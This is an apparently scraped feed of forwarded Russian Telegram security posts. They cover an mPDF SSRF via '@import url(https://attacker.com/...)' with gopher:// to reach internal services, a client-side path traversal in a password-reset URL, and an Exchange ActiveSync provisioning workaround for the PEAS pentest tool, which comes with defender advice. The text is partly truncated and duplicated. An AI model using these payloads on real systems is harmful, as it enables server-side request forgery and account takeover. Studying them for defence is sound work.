Forwarded from SHADOW:Group
У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf
@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде
gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.Вендор же официально заявил, что это не баг
#web #ssrf #pdf
Forwarded from 🕷 BugBountyRu
Класс багов, связанный с обходом пути на клиенте, становится всё более актуальным.
Классический path traversal (
../../../file) работает на сервере. Здесь идея та же, но на стороне клиента.Если приложение использует пользовательский ввод для формирования пути — появляется точка атаки.
Пример — сброс пароля:
https://target.com/reset/token?user=victim&Token=810128475189
Если значение
Token участвует в формировании пути или редиректа, его можно изменить:https://target.com/reset/token?user=victim&Token=810128475189%2F..%2F..%2Fuser
В результате клиент сформирует запрос:
https://target.com/user
Сам по себе редирект может быть безобидным. Но как только он используется вместе с другими механизмами, появляется реальный импакт:
Ресерчи по теме:
🔗 Client-Side Path Traversal: From Session Deletion to Full Account Compromise
🔗 Client Side Path Manipulation
🔗 Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from purple shift
Недавно наши пентестеры разбирались с утилитой PEAS для работы с Exchange ActiveSync (EAS) — и наткнулись на интересную проблему. При попытке получить листинг файловых шар через Document Library Access утилита падала с ошибкой 141 (LegacyDeviceOnStrictPolicy). При этом проверка учётных данных через
Оказалось, что раньше PEAS работал без ошибки, потому что серверы не требовали обязательного прохождения процедуры Provisioning. А когда администраторы начали включать строгие политики безопасности на Exchange, серверы стали требовать прохождения этой процедуры.
Provisioning в EAS — это механизм согласования политик безопасности между устройством и сервером через стандартный двухшаговый обмен, где клиент принимает политики безопасности сервера, а сервер в ответ разрешает дальнейшие операции. По итогу сервер выдает PolicyKey — токен доверия для конкретного аккаунта/устройства/сервера. Этот токен меняется при первом подключении нового устройства или когда админы обновляют политики; токен также может меняться от бездействия (длительного отсутствия входа в почту).
То есть без валидного PolicyKey сервер просто отклоняет запросы к данным. Интересный момент: сервер не может реально проверить, применило ли устройство политики — он полностью доверяет клиенту. Достаточно просто пройти протокольный обмен и сказать "да, я всё применил".
Раньше, когда серверы не требовали прохождения Provisioning, утилита PEAS просто отправляла PolicyKey=0. Но теперь это может не работать, поскольку сервер теперь может потребовать валидный токен.
Для решения этой проблемы наши эксперты пропатчили PEAS, добавив автоматический Provisioning перед UNC-операциями. Теперь утилита сначала выполняет двухфазный обмен с сервером, получает валидный PolicyKey и только потом делает запросы к файловым шарам. Дополнительно добавили флаг
Если хочется поглубже понять механизм EAS и исторический контекст утилит, можно посмотреть подробную статью от создателей PEAS, опубликованную ещё в 2016-м. Похоже, что тема всплывает раз в пять лет, и мы как раз подвезли актуализацию.
Что делать защитникам:
Необходимо следить за Microsoft Exchange как за критичным узлом, который зачастую становится "открытой дверью" к почте, файлам и внутренним ресурсам. Поэтому:
— По возможности вырубайте легаси-функциональность (EAS Document Library/UNC и прочие пережитки), сокращайте исключения и совместимость со всем подряд.
— Если отключить нельзя, используйте поведенческий контроль клиентов EAS: проверяйте, что перед доступом к данным всегда есть нормальный двухфазный Provisioning, следите за всплесками Status=141/142 и HTTP 449, смотрите динамику PolicyKey (внезапные смены/реюз между устройствами — знак тревоги).
— Параллельно ужесточайте базовую гигиену: регулярно пересматривайте политики, чистите старые профили и временные исключения, валидируйте сторонние клиенты до продакшена.
— Ограничивайте срок жизни кэшированных PolicyKey и фиксируйте их привязку к аккаунту/серверу/устройству. Тащите всё это в SIEM с привязкой "аккаунт >> устройство >> PolicyKey >> операции". Потому что в Exchange может быть всякое: смешанные политики, странные клиенты, исторические хвосты конфигураций — и это регулярно выстреливает.
Главная мысль: EAS по дизайну доверяет заявлению клиента о принятии политик. Это нормально для протокола, но с точки зрения защиты нельзя опираться только на EAS. Добавляйте поведенческий мониторинг, внешнюю проверку комплаенса (MDM/Intune) и минимизируйте поверхность атаки за счёт отключения ненужного наследия.
--check работала нормально. Оказалось, что раньше PEAS работал без ошибки, потому что серверы не требовали обязательного прохождения процедуры Provisioning. А когда администраторы начали включать строгие политики безопасности на Exchange, серверы стали требовать прохождения этой процедуры.
Provisioning в EAS — это механизм согласования политик безопасности между устройством и сервером через стандартный двухшаговый обмен, где клиент принимает политики безопасности сервера, а сервер в ответ разрешает дальнейшие операции. По итогу сервер выдает PolicyKey — токен доверия для конкретного аккаунта/устройства/сервера. Этот токен меняется при первом подключении нового устройства или когда админы обновляют политики; токен также может меняться от бездействия (длительного отсутствия входа в почту).
То есть без валидного PolicyKey сервер просто отклоняет запросы к данным. Интересный момент: сервер не может реально проверить, применило ли устройство политики — он полностью доверяет клиенту. Достаточно просто пройти протокольный обмен и сказать "да, я всё применил".
Раньше, когда серверы не требовали прохождения Provisioning, утилита PEAS просто отправляла PolicyKey=0. Но теперь это может не работать, поскольку сервер теперь может потребовать валидный токен.
Для решения этой проблемы наши эксперты пропатчили PEAS, добавив автоматический Provisioning перед UNC-операциями. Теперь утилита сначала выполняет двухфазный обмен с сервером, получает валидный PolicyKey и только потом делает запросы к файловым шарам. Дополнительно добавили флаг
--policy-key для переиспользования ключа при массовых операциях, это убирает лишние запросы и уменьшает шум в логах.Если хочется поглубже понять механизм EAS и исторический контекст утилит, можно посмотреть подробную статью от создателей PEAS, опубликованную ещё в 2016-м. Похоже, что тема всплывает раз в пять лет, и мы как раз подвезли актуализацию.
Что делать защитникам:
Необходимо следить за Microsoft Exchange как за критичным узлом, который зачастую становится "открытой дверью" к почте, файлам и внутренним ресурсам. Поэтому:
— По возможности вырубайте легаси-функциональность (EAS Document Library/UNC и прочие пережитки), сокращайте исключения и совместимость со всем подряд.
— Если отключить нельзя, используйте поведенческий контроль клиентов EAS: проверяйте, что перед доступом к данным всегда есть нормальный двухфазный Provisioning, следите за всплесками Status=141/142 и HTTP 449, смотрите динамику PolicyKey (внезапные смены/реюз между устройствами — знак тревоги).
— Параллельно ужесточайте базовую гигиену: регулярно пересматривайте политики, чистите старые профили и временные исключения, валидируйте сторонние клиенты до продакшена.
— Ограничивайте срок жизни кэшированных PolicyKey и фиксируйте их привязку к аккаунту/серверу/устройству. Тащите всё это в SIEM с привязкой "аккаунт >> устройство >> PolicyKey >> операции". Потому что в Exchange может быть всякое: смешанные политики, странные клиенты, исторические хвосты конфигураций — и это регулярно выстреливает.
Главная мысль: EAS по дизайну доверяет заявлению клиента о принятии политик. Это нормально для протокола, но с точки зрения защиты нельзя опираться только на EAS. Добавляйте поведенческий мониторинг, внешнюю проверку комплаенса (MDM/Intune) и минимизируйте поверхность атаки за счёт отключения ненужного наследия.